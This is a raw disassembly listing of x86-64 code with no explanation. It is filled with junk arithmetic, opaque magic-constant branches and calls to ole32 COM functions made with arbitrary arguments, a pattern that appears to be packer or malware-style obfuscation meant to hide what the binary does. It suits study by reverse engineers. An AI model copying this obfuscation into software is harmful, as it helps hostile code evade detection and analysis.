mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf44], ax
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [rsp + 0xf48]
and eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
jmp 0x1401c155c
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38c0]
mov dword [rsp + 0x5f94], eax
cmp dword [rsp + 0x5f94], 0x13313777
je 0x1401c15a8
cmp dword [rsp + 0x5f94], 0x2cad4eb3
je 0x1401c1586
jmp 0x1401c15f5
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
jmp 0x1401c15f5
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov eax, dword [0x1401dd004]
mov ecx, dword [0x1401dd008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6890]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x129]
call fcn.1401c3b50
nop
jmp 0x1401c172f
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a48]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xf4c]
add ecx, edx
cmp eax, ecx
jg 0x1401c168b
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
lea r8, [rsp + 0x6a58]
lea rdx, [rsp + 0x2bb10]
mov ecx, 3
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x394c], eax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov dword [rsp + 0x38], 0xca
mov rax, qword [rsp + 0x6af8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x24
mov dword [rsp + 0x20], 0xab
lea r9, [rsp + 0x396c]
mov r8d, 0xb9
mov edx, 0xde
lea rcx, [rsp + 0xf44]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x3960], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
and eax, ecx
mov byte [rsp + 0x171], al
mov r8, qword [rsp + 0x6920]
mov rax, qword [rsp + 0x6a30]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6968]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
lea rdx, [rsp + 0xf4c]
lea rcx, [rsp + 0x2bb40]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x394c], eax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov dword [rsp + 0x5f98], eax
cmp dword [rsp + 0x5f98], 0x367d7d51
je 0x1401c17d1
jmp 0x1401c17d3
jmp 0x1401c17f7
mov rax, qword [rsp + 0x69d0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x69f8]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x170]
call fcn.1401c33b0
nop
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6a18]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x5f9c], eax
cmp dword [rsp + 0x5f9c], 0x4046fd0e
je 0x1401c1896
jmp 0x1401c18d1
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov r8, qword [rsp + 0x6a18]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6968]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
jmp 0x1401c1949
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x16f]
movsx edx, byte [rsp + 0x170]
sub ecx, edx
cmp eax, ecx
jge 0x1401c1949
mov rax, qword [rsp + 0x68e0]
mov r8, qword [rax]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6a30]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
shl eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf44], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
jmp 0x1401c1af1
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
movsx ecx, byte [rsp + 0x171]
movsx edx, byte [rsp + 0x170]
or ecx, edx
cmp eax, ecx
jle 0x1401c1af1
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov dword [rsp + 0x5fa0], eax
cmp dword [rsp + 0x5fa0], 0x412a
je 0x1401c1a3c
jmp 0x1401c1a5e
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
jmp 0x1401c1a77
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [0x1401dd008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x38c0], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6968]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6988]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x5fa4], al
cmp byte [rsp + 0x5fa4], 0x3b
je 0x1401c1b35
cmp byte [rsp + 0x5fa4], 0x64
je 0x1401c1b7a
jmp 0x1401c1bc7
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6988]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
jmp 0x1401c1bc7
mov dword [rsp + 0x38], 0xe5
mov rax, qword [rsp + 0x6c78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.COMCTL32.dll_MakeDragList
mov dword [rsp + 0x20], 0x93
lea r9, [rsp + 0x3934]
mov r8d, 0x5d
mov edx, 0x63
lea rcx, [rsp + 0x6910]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x3908], eax
jmp 0x1401c1be4
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.sK:], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
lea rdx, [rsp + 0x2bb80]
lea rcx, str.drownings
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x396c], eax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov dword [rsp + 0x5fa8], eax
cmp dword [rsp + 0x5fa8], 0xdaa
je 0x1401c1c58
jmp 0x1401c1c9c
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
movzx r8d, byte [rsp + 0x16f]
movzx edx, byte [rsp + 0x16f]
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [rax]
call fcn.1401c20f0
nop
jmp 0x1401c1cbc
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
lea r8, [rsp + 0x68a8]
mov dx, 0xc8
mov cx, 0x3e
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x3934], eax
jmp 0x1401c1e68
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x6910]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jl 0x1401c1e49
lea rax, [rsp + 0x6898]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xa1
lea rax, [rsp + 0x3888]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], reloc.COMCTL32.dll_LBItemFromPt
mov r9d, 0x83
lea r8, [rsp + 0x3888]
lea rdx, [rsp + 0x3888]
lea rcx, [rsp + 0x6928]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x38d8], eax
mov eax, dword [rsp + 0x38c0]
xor eax, 0xa581be8
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov dword [rsp + 0x5fac], eax
cmp dword [rsp + 0x5fac], 0xd337e389
je 0x1401c1dd1
jmp 0x1401c1e2a
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x2baf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2baf8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x6898]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c33b0
nop
jmp 0x1401c1e47
lea rdx, [rsp + 0x2bb10]
lea rcx, [rsp + 0x2bb20]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x3900], eax
jmp 0x1401c1e68
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
cmp eax, 0x32
je 0x1401c1ed1
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [rsp + 0x68a8]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c33b0
nop
mov r8d, dword [rsp + 0x3878]
mov rax, qword [rsp + 0x6898]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c33b0
nop
jmp 0x1401c1fa5
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov dword [rsp + 0x28], 0xf4
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x20], rax
mov r9d, 0x59
lea r8, [rsp + 0x68a8]
lea rdx, [rsp + 0x2bb20]
lea rcx, [rsp + 0xdf]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x3890], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov r8b, 9
mov dl, 0x28
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
lea r8, [rsp + 0x6890]
mov edx, 0x54
lea rcx, [rsp + 0x2bb50]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x38d8], eax
mov r8b, 0xc6
mov dl, 0xa5
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [rax]
call fcn.1401c20f0
nop
jmp 0x1401c2047
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
lea rcx, [rsp + 0x68a8]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x3890], eax
mov rax, qword [rsp + 0x6890]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xdf]
call fcn.1401c3b50
nop
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov dword [rsp + 0x5fb0], eax
cmp dword [rsp + 0x5fb0], 0x45fd
je 0x1401c20a3
jmp 0x1401c20c1
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov r8b, 9
mov dl, 0x8c
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
mov eax, dword [rsp + 0x549c]
add rsp, 0x2bcb8
ret